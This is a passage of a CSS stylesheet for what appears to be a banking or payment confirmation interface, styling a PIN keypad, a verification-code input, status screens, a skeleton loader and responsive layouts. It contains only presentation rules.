.pincode-title { font-size: 22px; font-weight: 700; margin-bottom: 10px; }
.pincode-subtitle { font-size: 14px; margin-bottom: 36px; line-height: 1.5; }

.pincode-keyboard-wrapper { position: relative; max-width: 280px; margin: 0 auto; padding-top: 72px; margin-bottom: 18px; }
.pincode-display-container { position: absolute; top: 0; left: 0; right: 0; display: grid; grid-template-columns: repeat(3, 1fr); gap: 14px; z-index: 1; width: 100%; max-width: 280px; margin: 0 auto; align-items: center; }
.pincode-display { display: flex; gap: 14px; grid-column: 2; justify-self: center; }
.pincode-keyboard { display: grid; grid-template-columns: repeat(3, 1fr); gap: 14px; }
.pincode-keyboard .pincode-key[data-key="0"] { grid-column: 2; }
.hidden-input { position: absolute; opacity: 0; pointer-events: none; width: 0; height: 0; }

.verification-title { font-size: 19px; font-weight: 500; margin-bottom: 22px; line-height: 1.4; }
.verification-label { font-size: 12px; margin-bottom: 10px; text-align: left; }
.verification-input { width: 100%; padding: 16px 20px; font-size: 17px; outline: none; font-family: var(--font); margin-bottom: 28px; text-align: center; letter-spacing: 8px; }
.verification-input::placeholder { letter-spacing: 0; }

.waiting-title { font-size: 21px; font-weight: 600; margin-bottom: 22px; line-height: 1.4; }
.waiting-amount { font-size: 34px; font-weight: 800; margin-bottom: 22px; }

.hold-icon { width: 90px; height: 90px; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 28px; animation: iconPulse 3s ease-in-out infinite; }
.hold-icon svg { width: 46px; height: 46px; }
.hold-title { font-size: 21px; font-weight: 600; margin-bottom: 22px; line-height: 1.4; }

.call-icon { width: 90px; height: 90px; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 28px; animation: callRing 2s ease-in-out infinite; }
.call-icon svg { width: 46px; height: 46px; }
@keyframes callRing { 0%, 100% { transform: scale(1); } 25% { transform: scale(1.04) rotate(4deg); } 75% { transform: scale(1.04) rotate(-4deg); } }

.error-icon { width: 90px; height: 90px; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 28px; }
.error-icon svg { width: 46px; height: 46px; }
.error-title { font-size: 21px; font-weight: 600; margin-bottom: 22px; line-height: 1.4; }
.error-message { font-size: 14px; margin-bottom: 28px; line-height: 1.5; }

.question-card, .message-card { text-align: center; padding: 36px 18px; }
.question-icon, .message-icon { width: 90px; height: 90px; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 28px; }
.question-icon svg, .message-icon svg { width: 46px; height: 46px; }
.question-text, .message-text { font-size: 17px; line-height: 1.6; margin-bottom: 28px; white-space: pre-wrap; word-wrap: break-word; }
.input-label { font-size: 12px; margin-bottom: 10px; text-align: left; }
.custom-input { width: 100%; padding: 16px 20px; font-size: 17px; outline: none; font-family: var(--font); margin-bottom: 28px; }
.input-wrapper { width: 100%; }

/* ============================================
   SKELETON LOADER
   ============================================ */
.skeleton {
    background: linear-gradient(90deg, rgba(var(--primary-rgb), 0.05) 0%, rgba(var(--primary-rgb), 0.1) 50%, rgba(var(--primary-rgb), 0.05) 100%);
    background-size: 200% 100%;
    animation: skeleton 1.5s ease infinite;
    border-radius: var(--radius-sm);
}

@keyframes skeleton { 0% { background-position: 200% 0; } 100% { background-position: -200% 0; } }

/* ============================================
   RESPONSIVE
   ============================================ */
@media (max-width: 480px) {
    .page-wrapper { padding: 0 12px; }
    .card { padding: 36px 22px; border-radius: var(--radius-lg); }
    .amount { font-size: 38px; }
    .card-title { font-size: 18px; }
    .icon-circle { width: 72px; height: 72px; }
    .bank-icon { width: 36px; height: 36px; }
    .top-banner { padding: 10px 16px; gap: 7px; }
    .top-banner-text { font-size: 10px; letter-spacing: 0.8px; }
    .program-banner { padding: 12px 14px; }
    .program-banner-title { font-size: 10px; }
    .animated-ring-container { width: 110px; height: 110px; }
    .animated-ring-icon { font-size: 34px; }
    .pincode-card { padding: 18px 14px; }
    .pincode-title { font-size: 19px; margin-bottom: 8px; }
    .pincode-subtitle { font-size: 13px; margin-bottom: 18px; }
    .pincode-keyboard-wrapper { max-width: 260px; padding-top: 64px; }
    .pincode-display-container { max-width: 260px; }
    .pincode-display { gap: 11px; }
    .pincode-keyboard { gap: 11px; }
    .pincode-dot { width: 13px; height: 13px; }
    .pincode-key { font-size: 19px; }
    .continue-btn, .phone-btn { font-size: 15px; padding: 13px 18px; }
    .app-footer .footer-icon { width: 30px; height: 30px; }
    .app-footer .footer-text-main { font-size: 13px; }
    .app-footer .footer-text-sub { font-size: 10px; }
}

@media (max-width: 360px) {
    .top-banner-text { font-size: 9px; letter-spacing: 0.5px; }
    .pincode-keyboard-wrapper { max-width: 240px; padding-top: 56px; }
    .pincode-display-container { max-width: 240px; }
    .pincode-keyboard { gap: 9px; }
    .pincode-key { font-size: 17px; }
    .continue-btn, .phone-btn { font-size: 14px; padding: 12px 16px; }
}

@media (prefers-reduced-motion: reduce) {
    *, *::before, *::after { animation-duration: 0.01ms !important; transition-duration: 0.01ms !important; }
}

button:focus-visible, a:focus-visible, input:focus-visible {
    outline: 2px solid rgba(var(--primary-rgb), 0.5);
    outline-offset: 3px;
}
